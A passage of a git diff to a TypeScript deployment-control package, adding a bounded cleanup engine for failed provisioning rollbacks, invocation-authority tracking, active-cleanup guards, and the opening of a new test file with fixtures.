'rollback target', ); + intent = await commitInvocationAuthority( + lease, + intent, + options.clock ?? Date.now, + ); await lease.assertOwned(); await backend.deployWorker( rollbackSpec, @@ -2614,6 +2746,9 @@ export async function rollbackExternalRelease(options: { target.application, ); assertExternalReleaseArtifactVersion(live, target, 'rollback target'); + // No flip here or before the promotion below: the unconditional + // rollback-deploy flip above already committed the carrier durably + // earlier in this same call. await lease.assertOwned(); const health = await backend.ensureMaintenance( rollbackSpec, diff --git a/packages/fleet-control/src/index.ts b/packages/fleet-control/src/index.ts index c92297dd..08dbaf3b 100644 --- a/packages/fleet-control/src/index.ts +++ b/packages/fleet-control/src/index.ts @@ -39,6 +39,22 @@ export { rollbackBackendSwitch, switchPlainDeploymentToWorkersForPlatforms, } from './backend-switch.js'; +export { + type AdvanceCleanupDeploymentOptions, + advanceCleanupDeployment, + type CleanupAdvanceAction, + type CleanupAdvanceCapability, + CleanupAdvanceCapabilityError, + CleanupAdvanceRestartError, + type CleanupAdvanceResult, +} from './cleanup-advance.js'; +export { + CleanupAdvanceTokenDeploymentError, + CleanupAdvanceTokenError, + CleanupAdvanceTokenFutureError, + CleanupAdvanceTokenOperationError, + classifyCleanupDatabaseEligibility, +} from './cleanup-intent.js'; export { CloudflareApiPlainWorkerBackend, type CloudflareApiPlainWorkerBackendOptions, @@ -129,6 +145,16 @@ export { type ApplicationR2Binding, type ApplicationR2BucketSnapshot, type ApplicationR2Resource, + assertNoActiveCleanup, + type CleanupAdvanceIntent, + type CleanupAdvanceState, + type CleanupAdvanceToken, + type CleanupAttachmentProgress, + type CleanupAttachmentPurpose, + type CleanupAttachmentScan, + type CleanupAuthority, + type CleanupReceiptEvidence, + type CleanupTerminalReceipt, type D1Migration, type DatabaseExport, type DatabaseExportIntegrity, @@ -175,6 +201,7 @@ export { type FleetStateStore, type ForceDecommissionStep, type InitialExecutionFenceState, + type InvocationAuthorityCarrier, type LiveDeployment, type MaintenanceHealth, type NormalDecommissionLifecyclePhase, diff --git a/packages/fleet-control/src/provision.ts b/packages/fleet-control/src/provision.ts index 28724643..bc930795 100644 --- a/packages/fleet-control/src/provision.ts +++ b/packages/fleet-control/src/provision.ts @@ -22,12 +22,21 @@ import { BACKEND_SWITCH_RECORD_ERROR, type BackendSwitchProvider, backendSwitchFleetRecordFromUnknown, + commitInvocationAuthority, decommissionBackendSwitch, type FinalizedOrdinaryStateProvider, finalizedBridgeForRecord, reconcileFinalizedBackendSwitchState, structuralBackendSwitchFleetRecordFromUnknown, } from './backend-switch.js'; +import { + type AdvanceCleanupDeploymentOptions, + advanceCleanupDeployment, + advanceCleanupUnderLease, + type CleanupAdvanceAction, + type CleanupAdvanceResult, + startProvisioningRollbackCleanup, +} from './cleanup-advance.js'; import { activeExternalRelease, advanceDecommissionDeployment, @@ -54,6 +63,7 @@ import { buildPromotionGuard } from './promotion-guard.js'; import { assertProviderBindingIdentitiesMatchInspection } from './provider-binding-inventory.js'; import { deploymentSpecDigest } from './spec-digest.js'; import type { + CleanupAdvanceToken, DatabaseExport, DatabaseReference, DecommissionAuditSink, @@ -70,7 +80,7 @@ import type { ProvisioningPhase, ProvisioningResult, } from './types.js'; -import { assertNoActiveDecommission } from './types.js'; +import { assertNoActiveCleanup, assertNoActiveDecommission } from './types.js'; import { targetDurableObjectTag, validateDeploymentSecrets, @@ -104,15 +114,22 @@ export { export class ProvisioningError extends Error { readonly cleanupErrors: readonly unknown[]; + /** + * The bounded rollback outcome, present only when the failed provision ran + * with `failureCleanup: 'bounded'` and the rollback admitted the engine. + */ + readonly cleanup?: CleanupAdvanceResult; constructor( message: string, cause: unknown, cleanupErrors: readonly unknown[], + cleanup?: CleanupAdvanceResult, ) { super(message, { cause }); this.name = 'ProvisioningError'; this.cleanupErrors = cleanupErrors; + if (cleanup !== undefined) this.cleanup = cleanup; } } @@ -559,6 +576,14 @@ export interface ProvisionDeploymentOptions { * The defaults suit every provider this package targets. */ readonly routeAttestation?: AttestConvergedActiveRouteOptions; + /** + * How a failed provision rolls back once the bounded cleanup engine admits + * it. `'drain'` (the default) drains the engine to its terminal receipt + * within the failing call; `'bounded'` performs at most one bounded advance + * and surfaces the outcome through `ProvisioningError.cleanup` so the caller + * resumes the durable operation with `advanceCleanupDeployment()`. + */ + readonly failureCleanup?: 'drain' | 'bounded'; readonly clock?: () => number; } @@ -611,6 +636,17 @@ async function provisionDeploymentUnderLease( const prior = await store.get(spec.tenantTag, spec.environment); if (prior) { assertNoActiveDecommission(prior, 'provisionDeployment'); + // The fixed redirect IS this entry's cleanup guard: it must fire before + // the generic non-resumable-phase refusal so a rollback that admitted the + // bounded engine routes to cleanup instead of a provisioning retry. + if ( + prior.phase === 'cleanup-advancing' || + prior.cleanupIntent !== undefined + ) { + throw new Error( + `deployment '${spec.tenantTag}:${spec.environment}' has an active bounded cleanup; complete it with cleanupDeploymentArtifacts() or advanceCleanupDeployment() before provisioning again`, + ); + } assertBackendSwitchInactive(prior); } const finalizedOrdinaryState = @@ -782,6 +818,7 @@ async function provisionDeploymentUnderLease( } let maintenance = live.maintenance; if (!maintenance.armed) { + converged = await commitInvocationAuthority(lease, converged, clock); await lease.assertOwned(); maintenance = await backend.ensureMaintenance( spec, @@ -809,7 +846,13 @@ async function provisionDeploymentUnderLease( name: spec.databaseName, created: true, }; - record = recordAt(backend, spec, reservation, 'database-reserved', clock); + record = { + ...recordAt(backend, spec, reservation, 'database-reserved', clock), + // A new deployment carries the never-authorized carrier from its + // FIRST durable put so later cleanup can distinguish "no candidate + // invocation ever authorized" from a legacy row. + invocationAuthority: { version: 1, authorizedAt: null }, + }; await lease.put(record); } if (record.phase === 'database-reserved') { @@ -829,9 +872,14 @@ async function provisionDeploymentUnderLease( if (record.phase === 'database-create-authorized') { await lease.assertOwned(); database = await backend.ensureDatabase(spec, lease); - record = recordAt(backend, spec, database, 'database-created', clock, { - applicationResources: record.applicationResources, - }); + record = { + ...recordAt(backend, spec, database, 'database-created', clock, { + applicationResources: record.applicationResources, + }), + ...(record.invocationAuthority + ? { invocationAuthority: record.invocationAuthority } + : {}), + }; await lease.put(record); } else { database = await reconcilePersistedDatabase( @@ -1010,6 +1058,12 @@ async function provisionDeploymentUnderLease( (record.phase === 'application-resources-deployed' && spec.authoredBy !== 'external') ) { + if (backend.immutableExternalArtifacts === true) { + // External upload is the dispatch trigger, so the flip commits before + // it; the trusted plain initial deploy is deliberately NOT a flip + // site, preserving no-export cleanup at worker-deployed. + record = await commitInvocationAuthority(lease, record, clock); + } await lease.assertOwned(); const deployed = await backend.deployWorker( spec, @@ -1091,6 +1145,9 @@ async function provisionDeploymentUnderLease( ); } if (!live || live.desiredSpecDigest !== record.desiredSpecDigest) { + if (backend.immutableExternalArtifacts === true) { + record = await commitInvocationAuthority(lease, record, clock); + } await lease.assertOwned(); const deployed = await backend.deployWorker( spec, @@ -1150,6 +1207,10 @@ async function provisionDeploymentUnderLease( 'maintenance bootstrap', ); } + // Dedicated flip put: maintenance is the first candidate-invoking + // request for trusted plain deployments, and the flip must never ride + // the worker-deployed put, which stays no-export-eligible. + record = await commitInvocationAuthority(lease, record, clock); await lease.assertOwned(); maintenance = await backend.ensureMaintenance( spec, @@ -1201,7 +1262,21 @@ async function provisionDeploymentUnderLease( } if (record.phase === 'maintenance-armed') { - record = { ...record, phase: 'publishing', updatedAt: nowIso(clock) }; + record = { + ...record, + // The flip rides this already export-required transition; here it is + // consistency for legacy rows, not an eligibility change. + ...(typeof record.invocationAuthority?.authorizedAt === 'string' + ? {} + : { + invocationAuthority: { + version: 1 as const, + authorizedAt: nowIso(clock), + }, + }), + phase: 'publishing', + updatedAt: nowIso(clock), + }; await lease.put(record); } @@ -1232,6 +1307,9 @@ async function provisionDeploymentUnderLease( 'release publication', ); } + // A no-op unless a legacy row resumed directly at 'publishing' without + // riding the flip on the transition put above. + record = await commitInvocationAuthority(lease, record, clock); await lease.assertOwned(); await backend.promoteWorker( spec, @@ -1327,39 +1405,92 @@ async function provisionDeploymentUnderLease( [], ); } - const cleanup = + let cleanupErrors: readonly unknown[]; + let boundedOutcome: CleanupAdvanceResult | undefined; + if ( + record !== undefined && + databaseReservationOwned && + database !== undefined && + // Today's rollback is destructive only once ownership is proven or the + // attempt created the Worker; an unproven no-worker failure keeps its + // resumable row (the engine could never delete that database and would + // wedge the operation at 'cleanup-advancing'). + (databaseOwnershipProven || workerCreated) && + // Legacy stacks without the bounded capabilities keep the in-memory + // rollback: admitting the engine without a terminal or scan capability + // would strand a durable 'cleanup-advancing' row it can never finish + // (the same capability split decommissionDeployment already applies). + Reflect.has(backend, 'advanceDecommissionAttachmentScan') && + Reflect.has(backend, 'assertDatabaseDeletionResidualsRemoved') && + Reflect.has(lease, 'completeCleanup') + ) { + // The attempt owns the reservation and the database outcome is + // resolved: rollback runs through the bounded cleanup engine under the + // held lease. Refusals (external candidates, WFP, authorized + // invocation) throw before any mutation, persist no intent, and leave + // the row at its phase; an admitted rollback is durably + // 'cleanup-advancing' and its all-clean terminal writes the receipt in + // place of the old bare row delete. + const rollback = await rollbackThroughBoundedCleanup({ + lease, + backend, + store, + spec, + record, + mode: options.failureCleanup ?? 'drain', + authority: { + kind: 'provisioning-rollback', + reservationOwned: databaseReservationOwned, + databaseOwned: databaseOwnershipProven, + workerCreatedByAttempt: workerCreated, + workerResourceState, + requestedSpecDigest: deploymentSpecDigest(spec), + }, + ...(options.clock ? { clock: options.clock } : {}), + }); + cleanupErrors = rollback.errors; + // The default drain keeps the historical error shape; only the + // explicitly bounded mode surfaces the resumable outcome. + if ((options.failureCleanup ?? 'drain') === 'bounded') { + boundedOutcome = rollback.cleanup; + } + } else if ( (record?.phase === 'database-reserved' || record?.phase === 'database-create-authorized') && !database - ? { - errors: [ - new Error('reserved database creation outcome is unresolved'), - ] as readonly unknown[], - ...(record ? { record } : {}), - } - : await rollbackProvisioning( - lease, - backend, - spec, - database, - databaseReservationOwned && workerCreated, - workerResourceState, - databaseReservationOwned && - database !== undefined && - databaseOwnershipProven, - databaseReservationOwned ? record?.platformResources : undefined, - databaseReservationOwned ? record : undefined, - ); - record = cleanup.record ?? record; - const cleanupErrors = cleanup.errors; - if ( - databaseReservationOwned && - cleanupErrors.length === 0 && - (!database || databaseOwnershipProven) ) { - await lease.delete(); - } else if (record) { + cleanupErrors = [ + new Error('reserved database creation outcome is unresolved'), + ]; await lease.put(record); + } else { + // Record-less, non-owned, or worker-without-database rollbacks keep the + // pre-engine in-memory branch verbatim; the engine handles only + // record-bearing owned rollbacks with a resolved database outcome. + const legacy = await rollbackProvisioning( + lease, + backend, + spec, + database, + databaseReservationOwned && workerCreated, + workerResourceState, + databaseReservationOwned && + database !== undefined && + databaseOwnershipProven, + databaseReservationOwned ? record?.platformResources : undefined, + databaseReservationOwned ? record : undefined, + ); + record = legacy.record ?? record; + cleanupErrors = legacy.errors; + if ( + databaseReservationOwned && + cleanupErrors.length === 0 && + (!database || databaseOwnershipProven) + ) { + await lease.delete(); + } else if (record) { + await lease.put(record); + } } throw new ProvisioningError( `failed to provision '${spec.tenantTag}:${spec.environment}'${ @@ -1369,227 +1500,160 @@ async function provisionDeploymentUnderLease( }`, cause, cleanupErrors, + boundedOutcome, ); } } -export interface CleanupDeploymentArtifactsOptions { +async function rollbackThroughBoundedCleanup(input: { + readonly lease: FleetStateLease; readonly backend: ProvisioningBackend; readonly store: FleetStateStore; readonly spec: DeploymentSpec; + readonly record: FleetRecord; + readonly mode: 'drain' | 'bounded'; + readonly authority: Readonly<{ + kind: 'provisioning-rollback'; + reservationOwned: boolean; + databaseOwned: boolean; + workerCreatedByAttempt: boolean; + workerResourceState: 'absent' | 'present' | 'unknown'; + requestedSpecDigest: string; + }>; + readonly clock?: () => number; +}): Promise< + Readonly<{ errors: readonly unknown[]; cleanup?: CleanupAdvanceResult }> +> { + const { lease, backend, store, spec } = input; + const errors: unknown[] = []; + let cleanup: CleanupAdvanceResult | undefined; + try { + const admitted = await startProvisioningRollbackCleanup( + lease, + input.record, + input.authority, + { + backend, + spec, + randomUUID, + ...(input.clock ? { clock: input.clock } : {}), + }, + ); + const intent = admitted.cleanupIntent; + if (!intent) { + throw new Error('bounded rollback did not persist its cleanup intent'); + } + let token: CleanupAdvanceToken = { + version: 1, + tenantTag: spec.tenantTag, + environment: spec.environment, + operationId: intent.operationId, + revision: intent.revision, + }; + let action: CleanupAdvanceAction = { kind: 'continue', token }; + let restarted = false; + while (true) { + const engineOptions: AdvanceCleanupDeploymentOptions = { + backend, + store, + spec, + action, + maxProviderRequests: 1_000, + randomUUID, + ...(input.clock ? { clock: input.clock } : {}), + }; + const result = await advanceCleanupUnderLease( + engineOptions, + action, + token, + lease, + ); + cleanup = result; + if (result.status === 'complete') break; + if (result.status === 'blocked') { + if (restarted) { + errors.push( + new Error('bounded cleanup remains blocked by a Worker attachment'), + ); + break; + } + restarted = true; + token = result.token; + action = { kind: 'restart-blocked', token }; + } else { + token = result.token; + action = { kind: 'continue', token }; + } + if (input.mode === 'bounded') break; + } + } catch (error) { + errors.push(error); + } + return { errors, ...(cleanup ? { cleanup } : {}) }; } -export function cleanupDeploymentArtifacts( - options: CleanupDeploymentArtifactsOptions, -): Promise { - return options.store.withDeploymentLease( - options.spec.tenantTag, - options.spec.environment, - (lease) => cleanupDeploymentArtifactsUnderLease(options, lease), - ); +export interface CleanupDeploymentArtifactsOptions { + readonly backend: ProvisioningBackend; + readonly store: FleetStateStore; + readonly spec: DeploymentSpec; } -async function cleanupDeploymentArtifactsUnderLease( +/** + * Drains one deployment's bounded no-export cleanup to its terminal receipt. + * + * Holds no outer lease: each bounded advance acquires its own deployment + * lease. An absent row is a no-op; an active cleanup intent of either + * authority resumes; admission refusals propagate unchanged; a bounded group + * failure surfaces as the historical `AggregateError` and leaves the durable + * intent for retry. + */ +export async function cleanupDeploymentArtifacts( options: CleanupDeploymentArtifactsOptions, - lease: FleetStateLease, ): Promise { const { backend, store, spec } = options; validateDeploymentSpec(spec); - let record = await store.get(spec.tenantTag, spec.environment); - if (record) { - assertNoActiveDecommission(record, 'cleanupDeploymentArtifacts'); - assertBackendSwitchInactive(record); - } + const record = await store.get(spec.tenantTag, spec.environment); if (!record) return; - assertImmutableDeploymentMapping(record, backend, spec); - if (record.phase === 'database-reserved') { - const reservedDatabase = await backend.findDatabase(spec); - if (reservedDatabase) { - throw new Error( - `refusing to clear an unauthorized database reservation while '${reservedDatabase.id}:${reservedDatabase.name}' exists`, - ); - } - await lease.delete(); - return; - } - if (record.phase === 'database-create-authorized') { - const reservedDatabase = await backend.findDatabase(spec); - if (!reservedDatabase) { - await lease.delete(); - return; - } - if (reservedDatabase.name !== record.databaseName) { - throw new Error( - `authorized database '${record.databaseName}' resolved with unexpected identity '${reservedDatabase.id}:${reservedDatabase.name}'`, - ); - } - const owner = await backend.readDeploymentIdentity(reservedDatabase, lease); - if (owner !== undefined) { - throw new Error( - `refusing reserved database cleanup for '${reservedDatabase.id}' owned by '${owner}'`, - ); - } - await lease.assertOwned(); - // A freshness PROOF, not a provisioning: this database is stamped only so - // the read-back below can show it was empty, and it is deleted three lines - // later. The fence state is therefore hard-coded rather than taken from the - // caller — cleanup has no provisioning options to take it from — and it is - // 'migration-locked' because a database that survives a failed delete must - // never come back as one that executes. - await backend.seedDeploymentIdentity( - reservedDatabase, - record.tenantTag, - lease, - { initialExecutionFenceState: 'migration-locked' }, - ); - const seededOwner = await backend.readDeploymentIdentity( - reservedDatabase, - lease, - ); - if (seededOwner !== record.tenantTag) { - throw new Error( - `reserved database '${reservedDatabase.id}' could not be proven fresh before cleanup`, - ); - } - await lease.assertOwned(); - await backend.deleteDatabase(reservedDatabase, lease); - const remainingDatabase = await backend.findDatabase(spec); - if (remainingDatabase) { - throw new Error( - `reserved database '${remainingDatabase.id}' is still present after deletion`, - ); - } - await lease.delete(); - return; - } - if ( - record.phase !== 'database-created' && - record.phase !== 'identity-seeded' && - record.phase !== 'migrated' && - record.phase !== 'application-resources-create-authorized' && - record.phase !== 'application-resources-deployed' && - record.phase !== 'platform-resources-deployed' && - record.phase !== 'worker-deployed' && - record.phase !== 'maintenance-armed' - ) { - throw new Error( - `deployment in phase '${record.phase}' requires export-backed decommissioning`, - ); - } - const database: DatabaseReference = { - id: record.databaseId, - name: record.databaseName, - created: false, - }; - const liveDatabase = await reconcilePersistedDatabase( - backend, - record, - true, - lease, - record.phase !== 'database-created', - ); - const errors: unknown[] = []; - const cleanupRecord = record; - try { - await lease.assertOwned(); - await backend.removeTraffic( - spec, - retainedExternalReleases(cleanupRecord), - activeExternalRelease(cleanupRecord), - database, - lease, - ); - await backend.assertTrafficRemoved(spec); - await assertApplicationR2EmptyBeforeDecommission({ - resources: cleanupRecord.applicationResources ?? [], - backend, - fence: lease, - }); - await lease.assertOwned(); - await backend.revokeCredentials( - spec, - retainedExternalReleases(cleanupRecord), - activeExternalRelease(cleanupRecord), - database, - lease, - ); - await lease.assertOwned(); - await backend.deleteWorker( - spec, - retainedExternalReleases(cleanupRecord), - database, - activeExternalRelease(cleanupRecord), - lease, - ); - } catch (error) { - errors.push(error); - } - if ( - errors.length === 0 && - (record.platformResources || record.platformTarget) - ) { - if ( - !backend.revokePlatformResourceCredentials || - !backend.deletePlatformResources - ) { - errors.push( - new Error('backend cannot clean persisted trusted platform resources'), - ); - } - try { - if ( - backend.revokePlatformResourceCredentials && - backend.deletePlatformResources - ) { - await lease.assertOwned(); - await backend.revokePlatformResourceCredentials( - spec, - record, - database, - lease, - ); - await lease.assertOwned(); - await backend.deletePlatformResources(spec, record, database, lease); - } - } catch (error) { - errors.push(error); - } - } - if (errors.length === 0) { + // Reservation-phase cleanups historically threw their provider refusals + // directly; teardown-phase group failures aggregated. Preserve both shapes. + const admittedPhase = + record.cleanupIntent?.identity.admittedPhase ?? record.phase; + const reservation = + admittedPhase === 'database-reserved' || + admittedPhase === 'database-create-authorized'; + let action: CleanupAdvanceAction = { kind: 'start' }; + let restarted = false; + while (true) { + let result: CleanupAdvanceResult; try { - await convergeApplicationR2Deletion({ - spec, - resources: record.applicationResources ?? [], + result = await advanceCleanupDeployment({ backend, - fence: lease, - persist: async (applicationResources) => { - record = { - ...(record as FleetRecord), - applicationResources, - updatedAt: new Date().toISOString(), - }; - await lease.put(record); - }, + store, + spec, + action, + maxProviderRequests: 1_000, + randomUUID, }); } catch (error) { - errors.push(error); + if (action.kind === 'start' || reservation) throw error; + throw new AggregateError( + [error], + `failed to clean 1 deployment artifact(s) for '${spec.scriptName}'`, + ); } - } - if (errors.length === 0 && liveDatabase) { - try { - await backend.assertDatabaseDetached(spec, record, liveDatabase, lease); - await backend.deleteDatabase(liveDatabase, lease); - } catch (error) { - errors.push(error); + if (result.status === 'complete') return; + if (result.status === 'blocked') { + if (restarted) { + throw new Error( + 'bounded cleanup remains blocked by a Worker attachment', + ); + } + restarted = true; + action = { kind: 'restart-blocked', token: result.token }; + continue; } + action = { kind: 'continue', token: result.token }; } - if (errors.length > 0) { - throw new AggregateError( - errors, - `failed to clean ${errors.length} deployment artifact(s) for '${spec.scriptName}'`, - ); - } - await lease.delete(); } export interface DecommissionDeploymentOptions { @@ -1665,6 +1729,12 @@ export async function decommissionDeployment( current = canonicalNormalDecommissionRecord(current); hasNormalIntent = true; } + // After the canonicalizers: a hostile decommission-shell record carrying + // cleanup material keeps its malformed-record refusal; a clean record with + // an active cleanup refuses here, before any lease or backend dispatch. + if (current) { + assertNoActiveCleanup(current, 'decommissionDeployment'); + } const shellLessLatePhase = current !== undefined && current.decommissionIntent === undefined && @@ -1759,6 +1829,9 @@ export async function forceDecommissionDeployment( const current = await input.store.get(input.tenantTag, input.environment); if (!current) return; assertNoActiveDecommission(current, 'forceDecommissionDeployment'); + // Blocked-cleanup plus refused-force is intentional: restart-blocked + // after remediation is the only resolution path for a blocked cleanup. + assertNoActiveCleanup(current, 'forceDecommissionDeployment'); if (current.backend !== input.backend.kind) { throw new Error( 'force-decommission backend does not own this deployment', @@ -1854,7 +1927,16 @@ export async function forceDecommissionDeployment( }; await lease.put(record); await emitDecommissionAudit(input.options?.audit, record, true); - await lease.delete(); + // Capable stores release this deployment's current claims with the row; + // legacy lease implementations keep tombstone claims through delete(). + if ( + Reflect.has(lease, 'deleteReleasingClaims') && + typeof lease.deleteReleasingClaims === 'function' + ) { + await lease.deleteReleasingClaims(); + } else { + await lease.delete(); + } }, ); } @@ -1869,6 +1951,7 @@ async function decommissionDeploymentUnderLease( const current = await store.get(spec.tenantTag, spec.environment); if (!current) throw new Error('deployment is not registered'); assertNoActiveDecommission(current, 'decommissionDeployment'); + assertNoActiveCleanup(current, 'decommissionDeployment'); assertBackendSwitchInactive(current); if (current.backend !== backend.kind) { throw new Error('decommission backend does not own this deployment'); diff --git a/packages/fleet-control/test/backend-switch.test.ts b/packages/fleet-control/test/backend-switch.test.ts index da380350..2c5764cf 100644 --- a/packages/fleet-control/test/backend-switch.test.ts +++ b/packages/fleet-control/test/backend-switch.test.ts @@ -3679,52 +3679,6 @@ describe('backend switch state machine', () => { expect(lateProvider.calls).toContain('decommission-export'); expect(lateProvider.calls).toContain('decommission-database'); }); - it('fails closed when a decommission record carries a cleanup intent', async () => { - const base = { - tenantTag: 'acme', - environment: 'production', - backend: 'plain-worker', - scriptName: 'acme-production', - databaseId: 'db-acme', - databaseName: 'acme-production', - schemaVersion: 1, - artifactVersion: 'artifact-v1', - desiredSpecDigest: 'a'.repeat(64), - durableObjectBindings: [], - applicationResources: [], - applicationBindings: { vars: [], secrets: [], r2Buckets: [] }, - routeHostname: 'acme.example.test', - phase: 'ready', - updatedAt: '2026-08-29T00:00:00.000Z', - } as const satisfies import('../src/types.js').FleetRecord; - const hostile = { - ...decommissionAdvancingRecordFixture(base, 'ready', { - operationId: '123e4567-e89b-42d3-a456-426614174000', - revision: 0, - generation: 0, - updatedAt: '2026-08-29T00:00:01.000Z', - }), - cleanupIntent: { version: 1 }, - }; - const store = { - get: async () => hostile, - list: async () => [hostile], - withDeploymentLease: async () => { - throw new Error('lease must not be acquired for a hostile record'); - }, - }; - await expect( - decommissionDeployment({ - backend: {} as never, - store: store as never, - spec: { - tenantTag: 'acme', - environment: 'production', - } as never, - }), - ).rejects.toThrow('backend switch decommission record is malformed'); - }); - it('refuses backend switch decommission shells during an active cleanup', () => { const record = { tenantTag: 'acme', diff --git a/packages/fleet-control/test/cleanup-advance.test.ts b/packages/fleet-control/test/cleanup-advance.test.ts new file mode 100644 index 00000000..4a96638c --- /dev/null +++ b/packages/fleet-control/test/cleanup-advance.test.ts @@ -0,0 +1,1704 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it } from 'vitest'; +import { reserveApplicationR2Resources } from '../src/application-bindings.js'; +import { + type AdvanceCleanupDeploymentOptions, + advanceCleanupDeployment, + advanceCleanupUnderLease, + CleanupAdvanceCapabilityError, + CleanupAdvanceRestartError, + type CleanupAdvanceResult, + startProvisioningRollbackCleanup, +} from '../src/cleanup-advance.js'; +import { + CleanupAdvanceTokenDeploymentError, + CleanupAdvanceTokenFutureError, + CleanupAdvanceTokenOperationError, + normalizeCleanupAdvanceIntent, +} from '../src/cleanup-intent.js'; +import { initialWorkerAttachmentScan } from '../src/cloudflare-worker-attachment-scan-state.js'; +import { advanceDecommissionDeployment } from '../src/decommission-advance.js'; +import { DecommissionAdvanceTokenOperationError } from '../src/decommission-intent.js'; +import { deploymentSpecDigest } from '../src/spec-digest.js'; +import type { + ApplicationR2BucketSnapshot, + ApplicationR2Resource, + CleanupAdvanceIntent, + CleanupAdvanceState, + CleanupAdvanceToken, + CleanupAuthority, + CleanupTerminalReceipt, + DatabaseReference, + DecommissionAdvanceIntent, + DecommissionAttachmentScanInput, + DecommissionAttachmentScanResult, + DeploymentSpec, + ExternalPlatformResources, + FleetRecord, + FleetStateLease, + FleetStateStore, + InitialExecutionFenceState, + InvocationAuthorityCarrier, + ProvisioningBackend, + ProvisioningBackendKind, + ProvisioningPhase, + SeedDeploymentIdentityOptions, +} from '../src/types.js'; + +const DATABASE_ID = '00000000-0000-0000-0000-000000000101'; +const OPERATION_ID = '11111111-1111-4111-8111-111111111111'; +const OTHER_OPERATION_ID = '33333333-3333-4333-8333-333333333333'; +const NOW = '2026-08-29T12:00:00.000Z'; +const AUTHORIZED_AT = '2026-08-29T13:00:00.000Z'; +const EVIDENCE_A = 'a'.repeat(64); +const EVIDENCE_B = 'b'.repeat(64); +const CREATION_DATE = '2026-08-01T00:00:00.000Z'; +const MAINTENANCE_PUBLIC_KEY = + '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}'; + +function unexpectedUUID(): string { + throw new Error('unexpected new operation id'); +} + +function spec(overrides: Partial = {}): DeploymentSpec { + return { + tenantTag: 'acme', + environment: 'production', + scriptName: 'acme-production', + databaseName: 'acme-production', + compatibilityDate: '2026-08-10', + mainModule: 'worker.js', + modules: [{ name: 'worker.js', content: 'export default {}' }], + authoredBy: 'platform', + schemaVersion: 3, + migrations: [ + { version: 1, sql: 'CREATE TABLE example (id TEXT PRIMARY KEY)' }, + { version: 2, sql: 'ALTER TABLE example ADD COLUMN value TEXT' }, + { version: 3, sql: 'ALTER TABLE example ADD COLUMN note TEXT' }, + ], + durableObjectMigrations: [{ tag: 'v1', newSqliteClasses: ['Maintenance'] }], + durableObjectBindings: [{ name: 'MAINTENANCE', className: 'Maintenance' }], + egressProxyService: 'fleet-egress-proxy', + maintenanceBaseUrl: 'https://control-acme.example.test', + routeHostname: 'acme.example.test', + ...overrides, + }; +} + +function r2Spec(): DeploymentSpec { + return spec({ + application: { vars: [], secrets: [], r2Buckets: [{ name: 'DATA' }] }, + }); +} + +const PLATFORM_RESOURCES: ExternalPlatformResources = { + maintenanceCapabilityPublicKey: MAINTENANCE_PUBLIC_KEY, + stateWorker: { + scriptName: 'acme-production-state', + artifactVersion: 'state-v1', + artifactDigest: 'c'.repeat(64), + durableObjectBindings: [], + namespaceIds: [], + }, +}; + +function record(overrides: Partial = {}): FleetRecord { + return { + tenantTag: 'acme', + environment: 'production', + backend: 'plain-worker', + scriptName: 'acme-production', + databaseId: DATABASE_ID, + databaseName: 'acme-production', + schemaVersion: 3, + artifactVersion: 'artifact-v1', + desiredSpecDigest: deploymentSpecDigest(spec()), + durableObjectBindings: [], + applicationResources: [], + routeHostname: 'acme.example.test', + invocationAuthority: { version: 1, authorizedAt: null }, + phase: 'worker-deployed', + updatedAt: NOW, + ...overrides, + }; +} + +function intentFor( + source: FleetRecord, + state: CleanupAdvanceState, + overrides: Partial = {}, +): CleanupAdvanceIntent { + return { + version: 1, + operationId: OPERATION_ID, + revision: 0, + generation: 0, + updatedAt: NOW, + authority: { kind: 'manual-cleanup' }, + identity: { + record: { + tenantTag: source.tenantTag, + environment: source.environment, + backend: source.backend, + scriptName: source.scriptName, + databaseId: source.databaseId, + databaseName: source.databaseName, + routeHostname: source.routeHostname, + }, + admittedPhase: 'worker-deployed', + externalArtifact: false, + }, + state, + ...overrides, + }; +} + +function activeRecord( + state: CleanupAdvanceState, + input: Readonly<{ + admittedPhase?: ProvisioningPhase; + authority?: CleanupAuthority; + revision?: number; + generation?: number; + record?: Partial; + }> = {}, +): FleetRecord { + const base = record({ ...input.record, phase: 'cleanup-advancing' }); + return { + ...base, + cleanupIntent: intentFor(base, state, { + ...(input.authority ? { authority: input.authority } : {}), + revision: input.revision ?? 0, + generation: input.generation ?? 0, + identity: { + ...intentFor(base, state).identity, + admittedPhase: input.admittedPhase ?? 'worker-deployed', + }, + }), + }; +} + +function discoverState(): CleanupAdvanceState { + return { + step: 'attachment-scan', + scan: { + purpose: { + kind: 'cleanup-database-pre-delete', + databaseId: DATABASE_ID, + operationId: OPERATION_ID, + }, + pass: 'discover', + progress: initialWorkerAttachmentScan({ + kind: 'd1', + databaseId: DATABASE_ID, + }), + }, + }; +} + +function verifyState(): CleanupAdvanceState { + return { + step: 'attachment-scan', + scan: { + purpose: { + kind: 'cleanup-database-pre-delete', + databaseId: DATABASE_ID, + operationId: OPERATION_ID, + }, + pass: 'verify', + progress: initialWorkerAttachmentScan({ + kind: 'd1', + databaseId: DATABASE_ID, + }), + discoverEvidence: { evidenceSha256: EVIDENCE_A, evidenceCount: 2 }, + }, + }; +} + +function token( + revision = 0, + operationId = OPERATION_ID, + overrides: Partial = {}, +): CleanupAdvanceToken { + return { + version: 1, + tenantTag: 'acme', + environment: 'production', + operationId, + revision, + ...overrides, + }; +} + +function scanComplete( + evidenceSha256 = EVIDENCE_A, + evidenceCount = 2, +): DecommissionAttachmentScanResult { + return { + status: 'complete', + evidenceSha256, + evidenceCount, + providerFetchAttemptsReserved: 3, + }; +} + +function scanAttached(): DecommissionAttachmentScanResult { + return { + status: 'attached', + attachment: { + plane: 'dispatch', + scriptName: 'tenant-holder', + dispatchNamespace: 'tenants', + }, + providerFetchAttemptsReserved: 3, + }; +} + +class CleanupMemoryStore implements FleetStateStore { + record: FleetRecord | undefined; + readonly receipts = new Map(); + puts = 0; + completeCleanupCalls = 0; + completedAtMs = 1_000; + leased = false; + supportsCompleteCleanup = true; + failTerminalResponseOnce = false; + readCleanupReceipt?: ( + operationId: string, + ) => Promise; + pruneCleanupReceipts?: ( + input: Readonly<{ completedBeforeMs: number; limit: number }>, + ) => Promise>; + + constructor() { + this.readCleanupReceipt = async (operationId) => + this.receipts.get(operationId); + this.pruneCleanupReceipts = async ({ completedBeforeMs, limit }) => { + const doomed = [...this.receipts.values()] + .filter((receipt) => (receipt.completedAtMs ?? 0) < completedBeforeMs) + .slice(0, limit); + for (const receipt of doomed) 